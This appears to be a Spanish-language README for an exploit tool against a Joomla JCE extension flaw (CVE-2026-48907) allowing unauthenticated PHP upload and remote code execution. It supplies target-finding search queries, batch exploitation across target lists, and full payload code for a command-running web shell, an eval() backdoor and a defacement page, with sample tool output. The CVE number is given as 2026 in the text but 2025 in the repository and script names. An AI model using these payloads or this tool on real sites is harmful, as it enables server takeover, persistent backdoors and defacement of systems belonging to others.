CVE-2026-48907 - Joomla! JCE RCE sin autenticación

Extensión Joomla! JCE < 2.9.99.5 - Carga arbitraria de archivos PHP sin autenticación y ejecución remota de código

🔎 Consultas en motores de búsqueda

Shodan

http.component:"Joomla"

FOFA

app="Joomla"

📋 Resumen

Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2026-48907, una vulnerabilidad crítica en la extensión Joomla! JCE (Joomla Content Editor) en versiones anteriores a 2.9.99.5. La vulnerabilidad permite a atacantes no autenticados cargar archivos PHP arbitrarios mediante la funcionalidad de importación de perfiles de JCE, lo que lleva a la ejecución remota de código (RCE).

⚠️ Aviso legal

Esta herramienta es solo para fines educativos y de pruebas autorizadas.

Úsela solo en sistemas que posea o tenga permiso explícito para probar

El autor no se hace responsable de ningún uso indebido o actividades ilegales

Obtenga siempre la autorización adecuada antes de realizar pruebas

🔍 Detalles de la vulnerabilidad

Propiedad	Valor
CVE ID	CVE-2026-48907
Producto	Extensión Joomla! JCE
Versiones afectadas	< 2.9.99.5
Tipo de vulnerabilidad	Carga de archivos PHP sin autenticación → RCE
Puntuación CVSS	9.8 (Crítica)
Vector de ataque	Red
Autenticación	Ninguna requerida
Impacto	Compromiso total del sistema

Cómo funciona

Extracción del token CSRF: El exploit primero extrae el token CSRF de la página principal del objetivo
Abuso de la importación de perfiles: Aprovecha la funcionalidad de importación de perfiles de JCE (index.php?option=com_jce&task=profiles.import)
Subida de archivo PHP: Carga un archivo PHP malicioso disfrazado de archivo XML de perfil
Ejecución de código: El archivo PHP subido se coloca en el directorio /tmp/ y se puede ejecutar mediante acceso directo

🚀 Características

✅ Subir cualquier archivo PHP: Cargue shells web, puertas traseras o páginas de desfiguración personalizadas (basadas en PHP)
✅ Procesamiento por lotes: Escanee y explote múltiples objetivos desde un archivo
✅ Detección automática de token CSRF: Extrae automáticamente los tokens CSRF
✅ Modo detallado: Salida detallada para depuración
✅ Exportación de resultados: Guarde las URL de subida exitosa en un archivo

📦 Instalación

# Clonar el repositorio
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907

# Instalar dependencias requeridas
pip3 install requests urllib3

Requisitos

Python 3.6 o superior
Librería requests
Librería urllib3

🎯 Uso

Sintaxis básica

python3 CVE-2025-48907.py -u <URL_OBJETIVO> -F <ARCHIVO_PHP_A_SUBIR>

Ejemplos

Subir un shell web PHP

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php

Subir una página de desfiguración PHP

python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php

Subir una puerta trasera PHP

python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php

Explotación por lotes con archivo de objetivos

python3 CVE-2025-48907.py -f targets.txt -F payload.php

Con salida detallada y guardado de resultados

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt

Argumentos de línea de comandos

Argumento	Requerido	Descripción
`-u, --url`	Sí*	URL de un solo objetivo (ej., http://target.com)
`-f, --file`	Sí*	Archivo que contiene una lista de URLs objetivo (una por línea)
`-F, --upload-file`	Sí	Archivo PHP a subir (shell, puerta trasera, página de desfiguración)
`-v, --verbose`	No	Habilitar salida detallada para depuración
`-o, --output`	No	Guardar URLs de subida exitosa en un archivo

* Se debe proporcionar -u o -f

Formato de archivo de objetivos

Cree un archivo targets.txt con una URL por línea:

http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Los comentarios son ignorados
https://example-joomla.com

🔧 Creación de cargas útiles PHP

Todas las cargas útiles deben ser archivos PHP ya que el exploit sube código PHP que se ejecutará en el servidor.

Shell web PHP

Cree shell.php:

<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "Usage: ?cmd=command";
}
?>

Página de desfiguración PHP

Cree deface.php:

<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
    <title>Hacked by 0xgh057r3c0n</title>
    <style>
        body {
            background: #000;
            color: #0f0;
            font-family: "Courier New", monospace;
            text-align: center;
            padding: 50px;
        }
        h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
        .ascii-art { white-space: pre; font-size: 12px; }
    </style>
</head>
<body>
    <h1>HACKED BY 0xgh057r3c0n</h1>
    <div class="ascii-art">
    ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗ 
    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
    ███████║███████║██║     █████╔╝ █████╗  ██║  ██║
    ██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██║  ██║
    ██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██████╔╝
    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═════╝ 
    </div>
    <p>Security is not a product, it\'s a process.</p>
    <p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
    <p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>

Puerta trasera PHP (Mínima)

Cree backdoor.php:

<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>

📊 Ejemplo de salida

_____________   _______________         _______________   ________  ________            _____   ______  ________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | /  __  \/   __   \   _  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_>      <\____    /  /_\  \  /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /   --   \  /    /\  \_/   \/    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |\______  / /____/  \_____  /____/  
        \/                  \/                  \/     \/         \/     \/               |__|       \/                \/

Extensión Joomla! JCE < 2.9.99.5 RCE sin autenticación
Autor : 0xgh057r3c0n (Subida de archivos PHP)

[*] Cargados 3 objetivo(s)

[*] Objetivo 1/3
[*] ==================================================
[+] Objetivo: http://target-joomla.com
[+] Obteniendo token CSRF...
[+] Token CSRF: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Subiendo archivo PHP: cve-2026-48907-1234.xml.php
[+] ¡Perfil importado exitosamente!
[+] Probando archivo PHP subido...

CVE-2026-48907

Más Populares